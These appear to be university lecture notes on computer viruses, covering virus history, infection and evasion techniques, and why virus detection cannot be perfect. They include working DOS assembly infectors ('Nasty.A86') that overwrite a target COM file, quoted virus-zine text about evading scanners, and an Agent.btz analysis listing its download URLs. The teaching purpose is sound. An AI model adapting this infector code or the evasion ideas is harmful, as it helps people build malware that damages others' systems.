Viruses

- Definitions.
- Some ancestors
- Ease of construction.
- Is there anything good to say about viruses?
- Why are we discussing viruses?
- General Features of Virus Programs.
- Making a self-reproducing program.
- Self-reproducing programs in other languages.
- The process of infection.
- The Ultimate cure.
- Commercial virus eradicators.
- Prevention.

Definitions

- What is a computer virus? Here's a four part definition from Fridrik Skulason, Frisk Software (makers of F-Prot)

1. A virus is a program that is able to replicate, that is create (possibly modified) copies of itself.
2. The replication is intentional, not just a side-effect.
3. At least some of replicants in turn are also viruses by the same definition.
4. A virus has to attach itself to a "host", in the sense that execution of the host implies execution of the virus.

Significance of Definition

- #1 distinguishes viruses from non-replicating malware, such as Trojan Horses, spyware, backdoors, and key loggers.
- #2 distinguishes between viruses and programs such as copy utilities that can replicate.
- #3 is needed to exclude certain "intended viruses", that attempt to replicate, but fail - they simply do not qualify as "real" viruses.
- #4 is necessary to distinguish between viruses and worms, which do not require a host.

Trojan Horses

- A Trojan Horse is a piece of code intentionally hidden within a "desirable" block of code.
- Trojan horses can wait for a particular event to become active and then perform some action.
- They could perform malicious or benign actions.
- Both Viruses and Trojans may contain a "time-bomb", intended to destroy programs or data on a specific date or when some condition has been fulfilled.

Worms

- A Worm is a program that attempts to propagate itself throughout a system or network and ultimately seize control of a system.
- Worms generally replicate, but do not infect other programs.
- They may be used to distribute other malware such as keyloggers and back doors, or they may simply be designed to replicate for the glory of the ego

Another Pair of Definitions

- Discussed in http://www.informit.com/guides/content.aspx?g=security&seqNum=23
- A virus is code that cannot run on its own. It is inserted into another ("host") program, and causes that program to run the virus code when the host is run. The virus code, when run, will insert a copy of itself in another "host," then possibly do some other task (often known as the "manipulation" task), then possibly execute the original host code. Viruses are not self-contained programs.
- A worm is a program that can run by itself. It is self-contained in that it can run as an independent program. It may use system programs to propagate itself. Worms travel (and possibly multiply) over communications links. They do not necessarily do anything other than travel from machine to machine (or propagate around a network), but they may also perform manipulation tasks, carry viruses, etc."

Virus/Worm Damage

- Some viruses and are designed to cause specific damage (e.g., erase all files on a specified date)
- Others are designed simply to satisfy the ego of the virus writer
- Even if a virus has been intended to cause no damage, it may do so in certain cases, often due to the incompetence of the virus writer or unexpected hardware or software revisions.
- Virus writers generally don't get paid for their work (unless they work for the military and target enemy computers), and don't identify themselves so they don't usually care whether they damage something unintentionally.

EXE/COM Infectors

- Our discussion will focus exe/com infectors
- These were once the most common type of virus
- Worm variants spread over the internet are more popular today (among creators of malware)
- Exe infectors are however interesting to study in the general area of artificial life

Early Viruses

- Viruses are generally not named by their creators, but by some distinctive action or where they first showed up.
- Most viruses and worms are derived from a relatively few hoary oldies
- One author develops the general technique and other people copy and modify the approach

Boot Sector Viruses

- These viruses were developed when diskettes (floppy disks) were the most common secondary storage medium (roughly 1981 - 1993)
- All disks (floppy, hard or CD) contain a special area called a boot sector
  - The boot sector contains a simple machine language program (less than 512 bytes) designed to initiate the bootstrap process
  - When floppies were dominant, machines were often designed to check the A: drive first for a bootable disk
  - Boot sector viruses took advantage of this so that if you accidentally left a disk in the A: drive when the computer powered up or booted from an infected disk the virus would replicate

The Brain Virus (1986)

- Also called the Pakistani or Lahore virus.
- Infects the boot sector and creates a boot sector that contains the following message:

```
Welcome to the Dungeon
(c) 1986 Brain & Amjads (pvt) Ltd
```

- This virus only on 5.25" 360 KB diskettes.
- It was recognizable by running disk check utilities that would show exactly 3 KB of bad sectors. The Brain virus hid itself in the bad sectors.
- The DOS operating system will not use of modify the bad sectors, so the virus was safe from accidental deletion by the user or the OS

The Jerusalem Virus (1987)

- Also called the Friday 13th Virus and the Israeli Virus.
- This virus added 1813 bytes to COM files and between 1792 and 1808 bytes to EXE files.
- Every Friday the 13th it deletes any program that the user tries to run.
- After 30 minutes, it slows computers down by 80%.
- It also did weird stuff on the screen.

The Christma Worm

- One of the earliest known worms, it appeared on IBM internal networks
- An e-mail file would appear in your mailbox from an acquaintance of yours suggesting that you run the file CHRISTMA.
- CHRISTMA would draw a character-based Christmas tree on your screen.
- At the same time, it would search through your nickname or name file and mail copies of itself to all the people on your mailing list.
- This would go on, until the network would get overloaded. CHRISTMA would not infect programs, so much as usurp computer time.
- Note the name CHRISTMA because of the 8.3 file name limitation of the time

The Stoned Virus (1988)

- Every eighth boot-up with an infected disk produces the message:

  "Your PC is now Stoned".

- The boot sectors of infected disks contain the message "Legalize Marijuana". Later this message was varied.
- Did not cause intentional damage, but it accidentally damaged directories because it does not know about certain sizes of disks.
- On hard disks, Stoned invaded the Partition Sector, something that exists on hard disks, but not on floppies. On floppies, Stoned invaded the boot sector.
- Stoned is only about 400 bytes long.

Variations on a Theme

- Most viruses (and worms) are often just variations of old viruses
- Most current virus "technology" is directed towards avoiding detection by scanners and/or vaccines
- Stealth techniques
  - Attempt to hide evidence of infection from the user
  - Virus is memory resident, hooks system interrupts
- Encryption
  - When virus infects a disk or file, it encrypts most of its own code, leaving only a small decryptor in unencrypted form
- Often combined with: Polymorphism
  - Virus attempts to avoid detection by taking on a slightly different form every time it infects a disk or file
- Two common techniques:
  - use a different encryption key every time
  - randomly mix in "garbage" instructions that modify unused registers

Ease of Construction

- It is easy to construct viruses. Like anything, constructing effective viruses that won't be detected easily takes more work.
- There are lots of sources of viruses and information about viruses.
- Virus construction kits, toolboxes and source code are now available on the Web
- A quote from Fridrik Skulason:

  "In general, viruses are just programs - rather unusual programs perhaps, but written just like any other program. It does not take a genius to write one - any average assembly language programmer can easily do it. Fortunately, few of them do."

From Dark Angel

- In "Dark Angel's Phunky Virus Writing Guide"

  DEDICATION: This was written to make the lives of scum such as Patty Hoffman, John McAffee, and Ross Greenberg a living hell.

  Virii are wondrous creations written for the sole purpose of spreading and destroying the systems of unsuspecting fools. This eliminates the systems of simpletons who can't tell that there is a problem when a 100 byte file suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not deserve to exist, so it is our sacred duty to wipe their hard drives off the face of the Earth. It is a simple matter of speeding along survival of the fittest.

40H Magazine

- The name 40H derives from INT 21H Function 40H (Write to file)
- It was a bulletin board publication for virus writers similar to a cooking magazine for people that like to cook

The "Cover Page" of the First Issue

```
40H Vmag Issue 1 Volume 1                                00000
Introduction -

  This is a down and dirty zine on wich gives examples on writing
  viruses and this magazines contains code that can be compiled to
  viruses.

  If you are an anti-virus pussy, who is just scared that your hard
  disk will get erased so you have a psycological problem with
  viruses, erase thesefiles.  This aint for you.
                                INDEX
001..................Virus Spotlight, The Tiny virus
002..................How to modify viruses to avoid SCAN
003..................Sub-Zero virus
004..................Simple encryption techniques and Leprosy-B
005..................1992 virus
Staff -
        Editior, Technical Consultant - Hellraiser
        Co-Editor, Theory Consultant  - Bionic Slasher
```

Is There Anything Good to Say?

- People interested in the concept of artificial life, consider viruses interesting objects of study.
- Viruses are exciting types of programs to experiment with.
- One of the advantages of using assembly language is that you can both create and combat such programs.
- Generally, all EFFECTIVE viruses are written in assembly language.
- It would be difficult, if not impossible, to do this with other languages (except for C); although it is quite easy to write a self-reproducing program in any language
- Viruses have been used to kill other viruses.
- One could conceive of viruses and worms that run around through a system carrying out useful tasks without direct intervention of particular users.

Why are we discussing viruses?

- It is very easy to make them in assembly language and furthermore, the information is widely available.
  - Anyone who wants to be malicious, can certainly learn how to make one.
- In part, it is to dispel the notion that only geniuses can create viruses.
  - It is easy to set a house on fire, but because everyone understands how to start a fire, arson is not considered a mark of genius.
- If everyone understood how viruses work, there would be little praise for people who wrote them since people would realize how simple it is to do this and would consider the act of virus writing about as much a sign of "genius" as putting razor blades in Halloween candy.
  - However, we won't really discuss ALL the details that you need to create effective and destructive viruses.
- If you really want to know this you can easily find "how-to" manuals and join the elite company of Dark Angel, Hellraiser and Bionic Slasher.

Operating System

- What distinguishes most virus and worm writers from otherwise “normal” programmers is their often detailed and intimate knowledge of operating system internals
- This probably represents the most significant barrier to entry in the field
- But it is relatively easy to find virus and worm writing kits that will help you get started easily
  - And there are quite a number of sites that purport to offer such material but are actually traps to infect your computer with malware such as back doors, spam bots and key loggers

Windows

- Windows has been particularly attractive to virus and worm writers for many reasons
  - The most popular OS offers access both to high level government and business computers as well as computers used by unsophisticated users
  - Large, bloated and complex code based on a code corpus created before security became a major concerns means that there are an enormous number of vulnerable points
  - Tight integration of Windows OS with popular Microsoft office applications, internet and email allows easy high-level access to everything on an infected computer

General Features of Viruses

- There are four major groups, one of which is now obsolete:
- Boot sector viruses (BSV)
- Program viruses
- Application viruses
- Flash memory viruses

- Boot sector viruses would replicate by infecting the boot sectors of any floppy diskette used in a machine
- Since CDs and DVDs are now the dominant portable storage mechanisms, they usually can’t be written, and even then not easily BSVs have disappeared
- Their modern equivalent has recently appeared on the scene, however: Flash memory viruses

Boot Sector Viruses

- Although obsolete because boot sectors are no longer a viable vector for infection, the general technique of using special parts of the disk is still in use by malware
- Such parts include partition sectors and bad sectors
- These are outside the purview of normal OS operations and provide convenient hiding places

Program Viruses

- Program viruses infect executable programs
  - In the days of DOS/Windows 3.1 these were 16-bit exe, com, and sys (device driver) files
  - Now the number of file types is much larger: 32-bit exe, dll, vxd, scr (screensavers) and many other binary executables
- Both 16 and 32 bit executable files have headers.
  - These precede excutable code and contain vital information such as program entry point, offsets to static data, etc
- Viruses attach themselves by:
  - Prepending (write before original executable code)
  - Appending (write after original executable code)
  - Overwriting (destroy original code)
  - Inserting (find gaps in original code)
  - Companion (rename original file and write self with original file's name
  - Cavity Infection: write self in between sections of 32-bit executables

Program Viruses

- These may be
  - Memory Resident: hook or trap OS services such as Open File and infect files as they are opened
  - Non-Memory Resident: search disk for executables to infect
- Encrypted Viruses
  - Contain a small decryptor that decrypts virus code in memory.
  - These were developed as a way to avoid virus scanners that would look for signatures and certain suspicious code sequences
  - Can use fixed or variable length keys
- Polymorphic Viruses
  - Typically mix variable length encryption with mutable "garbage instructions" that effective do nothing

Application Viruses

- Application viruses are written in a macro language interpreted by an application such as a word processor or spreadsheet
- Very easy to write especially in Windows because of tight integration of Word, Excel, IE, Outlook and OS via VBA (Visual Basic for Applications) and VBScript
- High level scripting language allows viruses to be created without intimate knowledge of the operating system
- Because many applications allow macros to auto-execute when document is loaded from disk, these viruses can be activated and can infect simply by reading a document from disk
- With the appearance of application viruses email became a popular infection vector

Flash Memory Viruses

- These viruses copy themselves to non-volatile location and then infect every flash memory device used in the machine
- Nov 21 2008: Department of Defense bans the use of removable flash media and storage devices
- Some people classify this as a worm rather than a virus
- We'll take a look at this virus/worm in detail to get a feel for modern viruses and and then turn our attention to older and simpler ones
- The following information comes from

http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html

Infection Vector

- The infection normally occurs via a removable disk such as thumb drive (USB stick) or any other external hard drive. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. When a clean computer recognizes a newly connected removable drive, it will (by default) detect autorun.inf file on it, it will then open it and follow its instruction to load the malware.

  Another infection vector: when a clean computer attempts to map a drive letter to a shared network resource that has Agent.atz on it and the corresponding autorun.inf file, it will (by default) open autorun.inf file and follow its instruction to load the malware. Once infected, it will do the same with other removable drives connected to it or other computers in the network that attempt to map a drive letter to its shared drive infected with Agent.atz – hence, the replication.

  The autorun.inf file it creates contains the following command to run rundll32.exe:

```
rundll32.exe .\\[random_name].dll,InstallM
```

Functionality

- When Agent.btz DLL is loaded, it will decrypt some of the strings inside its body. Agent.btz file is not packed. The strings it decrypts are mostly filenames, API names, registry entries, etc.

  After decrypting its strings, Agent.btz dynamically retrieves function pointers to the following kernel32.dll APIs: WriteProcessMemory(), VirtualAllocEx(), VirtualProtectEx(). It will need these APIs later to inject malicious code into Internet Explorer process.

  Agent.btz spawns several threads and registers window class `"zQWwe2esf34356d"`.

  The first thread will try to query several parameters from the values under the registry key:

  `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\StrtdCfg`

Functionality (2)

- Some of these parameters contain such details as time out periods, flags, or the name of the domain from which the additional components can be downloaded.

  The first thread will spawn 2 additional threads. One of them will wait for 5 minutes, and then it will attempt to download an encrypted binary from the domain specified in the parameters.

  For example, it may attempt to download the binaries from these locations:

  `http://biznews.podzone.org/update/img0008/[random digits].jpg`

  or

  `http://worldnews.ath.cx/update/img0008/[random digits].jpg`

Functionality (3)

- The downloaded binary will be saved under the file name $1F.dll into the temporary directory.

  Once the binary is saved, Agent.btz signals its threads with "wowmgr_is_loaded" event, saves new parameters into the registry values under the key "StrtdCfg", loads Internet Explorer process, decrypts the contents of the downloaded binary, injects it into the address space of Internet Explorer and then spawn a remote thread in it.

  At the time of this writing the contents of the binary is unknown as the links above are down. Thus, it's not known what kind of code could have been injected into the browser process. The only assumption can be made here is that the remote thread was spawned inside Internet Explorer process in order to bypass firewalls in its attempt to communicate with the remote server.

Installation

- Agent.btz drops its copy into %system% directory by using a random name constructed from the parts of the names of the DLL files located in the %system% directory.

  It registers itself as an in-process server to have its DLL loaded with the system process explorer.exe. The CLSID for the in-process server is also random - it is produced by UuidCreate() API.

  This threat may also store some of its parameters by saving them into the values nParam, rParam or id under the system registry key below:

  `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashImage`

  On top of that, Agent.btz carries some of its parameters in its own body – stored as an encrypted resource named CONFIG. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.

File wmcache.nld

- The second spawned thread will wait for 10 seconds. Then, it'll save its parameters and some system information it obtains in an XML file %system%\wmcache.nld.

  The contents of this file is encoded by XOR-ing it with the following mask:

  `1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s`

  Below is the decoded fragment of the XML file, provided as example:

Decrypted XML File

```
<?xml version="1.0" encoding="unicode"?>
<Cfg>
<Ch>
<add key="Id" value="3024688254" />
<add key="PVer" value="Ch 1.5" />
<add key="Folder" value="img0008" />
<add key="Time" value="29:11:2008 18:44:46" />
<add key="Bias" value="4294967285" />
<add key="PcName" value="%ComputerName%" />
<add key="UserName" value="%UserName%" />
<add key="WinDir" value="%windir%" />
<add key="TempDir" value="%temp%" />
<add key="WorkDir" value="%system32%" />
<add key="Cndr" value="0" />
<add key="List" value="">
<add key=" 0" value="2" />
</add>
<add key="NList" value="">
</add>
</Ch>
...
</Cfg>
```

Continued…

- Besides the basic system information above, Agent.btz contains the code that calls GetAdaptersInfo() and GetPerAdapterInfo() APIs in order to query network adapter's IP and MAC address, IP addresses of the network adapter's default gateway, primary/secondary WINS, DHCP and DNS servers. The collected network details are also saved into the log file.

File winview.ocx

- The second spawned thread will log threat activity into the file %system32%\winview.ocx.

  This file is also encrypted with the same XOR mask. Here is the decrypted example contents of that file:

```
18:44:44 29.11.2008 Log begin:
18:44:44 Installing to C:\WINDOWS\system32\[random_name].dll
18:44:44 Copying c:\windows\system32\[threat_file_name].dll to
C:\WINDOWS\system32\[random_name].dll (0)
18:44:44 ID: {7761F912-4D09-4F09-B7AF-95F4173120A6}
18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}
18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-
95F4173120A6}\InprocServer32\
18:44:44 Set Value C:\WINDOWS\system32\[random_name].dll
18:44:44 Creating
SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
18:44:44 Native Id: 00CD1A40
18:44:44 Log end.
```

  The thread will be saving its parameters and system information into the aforementioned encrypted XML file in the loop – once in every 24 hours.

File mswmpdat.tlb

- The original thread will then attempt to start 2 processes: tapi32d.exe and typecli.exe – these attempts are logged. Whenever Agent.btz detects a newly connected removable disk, it will also log the device details into the same log file %system%\mswmpdat.tlb.

  The contents of this log file is encrypted the same way – here is the decrypted fragment of it:

```
18:44:45 29.11.2008 Log begin:
18:44:45 Creating ps C:\WINDOWS\system32\tapi32d.exe (2)
18:44:45 Creating ps C:\WINDOWS\system32\typecli.exe (2)
18:44:45 Log end.
19:02:48 29.11.2008 Log begin:
19:02:49 Media arrived: "D:" Label:"" FS:FAT SN:00000000
19:02:49 Log end.
```

  It is not clear what these 2 files are: tapi32d.exe and typecli.exe - the analyzed code does not create them. It is possible however that the missing link is in the unknown code it injects into Internet Explorer which can potentially download those files.

File thumb.db

- When Agent.btz detects a new drive of the type DRIVE_REMOVABLE (a disk that can be removed from the drive), it attempts to create a copy of the file %system%\1055cf76.tmp in the root directory of that drive as thumb.db.

  In opposite, if the newly connected drive already contains file thumb.db, Agent.btz will create a copy of that file in the %system% directory under the same name. It will then run %system%\thumb.db as if it was an executable file and then delete the original thumb.db from the connected drive.

  The analyzed code does not create 1055cf76.tmp, but if it was an executable file downloaded by the code injected into Internet Explorer (as explained above), then it would have been passed into other computers under the name thumb.db. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.

Files thumb.dd and mssysmgr.ocx

- Agent.btz is capable to create a binary file thumb.dd on a newly connected drive. The contents of this file starts from the marker 0xAAFF1290 and is followed with the individual CAB archives of the files winview.ocx (installation log), mswmpdat.tlb (activity log), and wmcache.nld (XML file with system information).

  When Agent.btz detects a new drive with the file thumb.dd on it (system info and logs collected from another computer), it will copy that file as %system%\mssysmgr.ocx.

  This way, the locally created files do not only contain system and network information collected from the local host, but from other compromised host (or hosts) as well.
- Posted by Sergei Shevchenko at 5:30 AM

Now for the Basics….

- The following program shows how ridiculously easy it is to make an assembly language program that reproduces itself in memory.
- Obviously, similar things can be done to make programs that reproduce themselves on disk.
- One of the most powerful features of the Von Neumann computer is its ability to treat programs as data.

  This means that there will always be a way to create a virus.
- The basic idea is illustrated by the following program.

A Self-Reproducing Program

```
JMP LBL
DB 20 DUP('THIS IS A HARMLESS SELF-REPRODUCING PROGRAM ')
LBL:
MOV SI, 100h        ;start of program code at 100h
MOV DI, FINISH      ;end of program code
MOV CX, FINISH-100h ;length of program
REP MOVSB           ;copy the program
;now we will terminate and stay in memory by calling
;function 31h (terminate and stay resident) which requires
;the number of 16-byte paragraphs in DX
MOV DX, FINISH      ;CS-relative end of program
SHR DX, 4           ;divide by 16
INC DX              ;add one to account for last para.
SHL DX, 1  ;Double reserved space to include second copy.
MOV AX, 3100H       ;Terminate and stay resident
INT 21H
FINISH:
```

Does it work?

- You might wonder whether the copy will also work. In particular, what happens to the JMP LBL in the second copy.
- The JMP gives a relative 16 bit offset that is added to IP to get the new address. This works in the copy.

Self-Reproducing Programs in Other Languages

- Below is a self-reproducing program in QBASIC, courtesy of Prof. George ("My virus is only 80 bytes!) Markowsky
- The program is just one line long (wrapped in this slide)

```
100 T$="100 T$=!&!:Q$=CHR$(34):PRINT USING
  T$;Q$,T$,Q$":Q$=CHR$(34):PRINT USING
  T$;Q$,T$,Q$
```

```
100 T$="100 T$=!&!:Q$=CHR$(34):PRINT USING T$;Q$,T$,Q$":Q$=CHR$(34):PRINT USING  T$;Q$,T$,Q$
```

The Process of Infection

- The following program illustrates a program that looks for a particular COM program and tries to infect it.
- This is not particularly smart or effective, but you can certainly see what the general idea is.
- This method of attack is not very clever and essentially replaces the original program with a different one.
- Below is the target program called victim.com

Victim.com

```
jmp start
msg DB 'I am an innocent program.'
    DB ' I hope that no nasty virus '
    DB 'will infect me.',13,10,'$'
start:
    mov dx, offset msg
    mov ah, 9
    int 21h
    mov ah, 4ch
    int 21h
```

Nasty.A86

- The following program, nasty.A86, looks for and infects victim.com

```
; This program looks for VICTIM.COM in the current directory
; and infects it. It assumes that the program is shorter
; than 512 bytes.
JMP start
VICTIM  DB 'VICTIM.COM',0
START:
; LOCATE THE VICTIM
        mov dx, offset VICTIM
        mov ah, 3dh       ; open file with handle
        sub al, al        ; read-only access
        int 21h
; IF NO VICTIM EXIT
        jc exit
; READ VICTIM INTO BUFFER
        mov bx, ax             ; put file handle into BX
        mov cx, 200h           ; request 512 bytes
        ; load dx with address of buffer at the end of program
        mov dx, offset prog_buffer
        mov ah, 03fh           ; read from file function 3fh
        int 21h
        jc exit                ; if error just quite
```

Nasty.A86 (2)

```
;function 3fh returns the number of bytes read in AX
      push ax        ;save number of bytes read
; close the open file
      mov ah, 3eh    ; close file function
      int 21h
      jc exit        ; quit if error
; erase old program by calling create file
      mov ah, 03ch   ; create file function erases
      mov dx, victim ; existing files
      sub cx, cx     ; specifies file attributes
      int 21h
      jc exit        ; quit if error
```

Nasty.A86 (3)

```
; now write the altered program
     mov bx, ax     ; file handle from create
     mov ah, 40h    ; write to file function
     pop cx         ; # of bytes read from file
     mov dx, offset buffer ; new start of program
     add cx, prog_buffer   ; add the new bytes between
     sub cx, buffer        ; buffer and prog_buffer
     int 21h        ; write out the new .com file
; close program
     mov ah, 3eh    ; close file just written
     int 21h
     jc exit
Exit:
     mov ax, 4c00h  ; return to dos
     int 21h
```

Nasty.A86 (4)

```
Buffer:
        jmp L1
v_msg   db 'now I have you in my power!'
        db 13,10,'$'
L1:
  mov dx, offset v_msg  ; now adjust address
  sub dx, offset buffer ; to compensate for new loc
  add dx, 100h          ; relative to start of file
  mov ah, 9             ; display our msg
  int 021
; and turn control over to original program
; which starts here
Prog_buffer:
```

Slightly More Sophisticated

- This program will not re-infect victim.com

```
program: JMP start
  signature  DB "I'm NASTY!"
  target     DB 'VICTIM.COM',0
start:
  push cx          ; save our own program size
  mov bp,sp        ; now bp is pointing at our code size
  lea dx, target   ; get the target file spec
  mov ah, 03Dh     ; open file
  mov al, 02       ; read-write access
  int 21h
  jnc L1
  jmp exit         ; just quit if error
L1:
```

Slightly More Sophisticated (2)

```
L1:
  mov bx, ax         ; get handle returned from open
  mov cx, 0FFFFh     ; max 64K for .COM file
  mov dx, 0100H      ; start of executable code
  add dx,[bp]        ; our code size--dx now points past end of code
  push dx            ; save it for later
  mov ax, 3F00h      ; DOS read from file
  int 21h
  jnc L2
  jmp exit
L2:
  pop di             ; di points at loaded code so we can check
  add di,3           ; for our signature which is 3 bytes into the code
  push ax            ; save number of bytes read from file
  lea si, signature
  mov cx, 11         ; 11 bytes to check
  repe cmpsb         ; compare them
  jnz  L3            ; ZF set means all compared OK
  jmp execit         ; so don't reinfect; just execute the victim
```

Slightly More Sophisticated (3)

```
L3:
  sub cx, cx        ; zero out cx and dx in prep
  sub dx, dx        ; for move file pointer call
  mov ax,4200H      ; position pointer at BOF
  int 21H           ; so we can write from the start of the program
L5:  ; now write altered program
  pop cx               ; number of bytes we read from target
  lea dx, program      ; our program!
  pop ax               ; number of bytes in our program
  add cx, ax           ; now cx has total bytes
  inc cx               ; adjust by one
  mov ax, 4000H        ; DOS write to file
  int 21H              ; and now our code is living in the target file
L6:
  mov ah,3Eh           ; close file
  int 21H
exit:
  mov ax,4c00h         ; exit
  int 21H
Execit:
  jmp L1              ;display a nasty message and then run the victim
vmsg DB "I'm NASTY! Now I have you in my power!$"
L1:
  mov dx, OFFSET vmsg
  mov ax,0900H          ; display the message
  int 21H               ;
buffer:                 ; rest of program is loaded here!
```

Can we ever detect all viruses?

- You might wonder whether it might be possible to detect all viruses and other troublesome programs.
- After all, we know a lot about what viruses do and where they hide.
- On the other hand, many of the actions taken by viruses are also taken by other programs, so perhaps there is no way to always be sure that you have found a virus.
- The following programs illustrate that it is impossible to write a program that always identifies programs as viruses or not.
- In fact, the argument shows that in general it is impossible to identify programs that have any particular non-trivial property!

The Proposed Solution

- Assume that we have a virus detector or a detector of some other property. In general, we could assume that the program looks like the following, which we assume can detect whether another program has some bad feature.

```
JMP START
PROG_NAME  DB 100 DUP(0)
START:
; Assume that GET_NAME gets a program name from the user and places it in
; the buffer PROG_NAME.  It gets a single parameter, which is the offset
; of the buffer, on the stack.
       LEA AX, PROG_NAME
       PUSH AX
       CALL GET_NAME
; Assume that ANALYZE gets the offset of a buffer containing the program
; name passed on the stack.  If the program has the bad feature, ANALYZE
; returns 1 in AX, otherwise it returns 0 in AX.
```

The Proposed Solution (2)

```
; Assume that ANALYZE gets the offset of a buffer containing the program
; name passed on the stack.  If the program has the bad feature, ANALYZE
; returns 1 in AX, otherwise it returns 0 in AX.
       LEA AX, PROG_NAME
       PUSH AX
       CALL ANALYZE
       CMP AX, 0
       JE L1
       WRITELN 'THIS PROGRAM IS BAD'
       JMP EXIT
L1:
       WRITELN 'THIS PROGRAM IS GOOD'
EXIT:
       MOV AH, 4Cn
       INT 21h
```

A Problem Program

- The analyzer program will not correctly identify the following program, which is called WEIRD.A86.

```
JMP START
PROG_NAME  DB 'WEIRD.A86',0
START:
       LEA AX, PROG_NAME  ; we run the same code as DETECT.A86
       PUSH AX
       CALL ANALYZE
       CMP AX, 0          ; are we bad?
       JE L1              ; no, so do something bad
       JMP EXIT
L1:
       CALL DO_BAD_THING
EXIT:                     ; we end up here if ANALYZE says we’re bad
       MOV AH, 4Ch         ; but we’re not doing anything bad at all!
       INT 21h
ANALYZE:
        PUSH BP
        MOV BP, SP
;       ...
        RET 2
DO_BAD_THING:
;       ...
        RET
```

Conclusions

- No general property of programs can be detected by a program.
  - There is no way to successfully identify, without any error, programs of a given type.
- If you are willing to tolerate error, there is a simple way to prevent infection: assume that every program is a virus and don't run anything.
  - The above process is guaranteed to prevent infection in theory.
- Human mistakes, such as booting from data disks will still lead to infection.
  - Corollary: No virus will successfully infect every program or foil every virus detector.

Commercial Virus Eradicators

- Commercial anti-viral programs have been a growth industry in recent years.
  - They've grown quickly enough that people accuse some of the anti-viral programmers of launching periodic virus attacks just so they can sell more copies of their programs.
- From 40HEX Magazine:
  - The problem with most viruses is that this dickhead who lives in California named John Mcafee gets his greedy hands on them and turns them into big bucks -- for him. John boy is the reason there are over 500 viruses out there, and I wouldn't doubt if he weren't resposible for writing at least ten of them.

    So the best thing to do to some Mcafee dependant sucker, or lame board is this.

    Say you have a copy of a played out virus, lets say an older one like Armstand or Jerusalem. Almost every virus scanner can detect these viruses cause they been around so long. Now heres a quick way to modify viruses so the scanners wont catch them, in turn making them new strains.

Virus Detection

- Most virus detectors are scanners. Many viruses have a SIGNATURE.
  - This is some mark that they leave when they infect a file so they don't keep reinfecting the file each time.
  - Because the virus writers have copies of all detectors, they soon be useless unless updated with new signatures often
- Scanners basically consist of a large dictionary of virus signatures.
- The updates include new signatures and sometimes updated tricks to detect viruses or to protect the virus detector from infection.
- Speed is an issue with many of these programs, since they need to process most every file on a hard disk.
- Many commercial products now include heuristic scanning.
  - Heuristics are empirically-based rules that look for code patterns that suggest a program might be up to no good
  - The problem of course is with false positives

Virus Detection (2)

- We now have a never ending battle between virus creators and virus defenders.
- Virus scanners used to offer signature updates on a periodic basis that recently became daily
- Now some vendors such as AVG update their signature files every four hours

A Real Virus

- To finish off we'll look at the source code for a real virus
- This is Danish Tiny, one of the smallest known viruses (163 bytes)
- The virus is not malicious; it simply infects .com files
- The source code will be reviewed in class but is not posted online in these notes.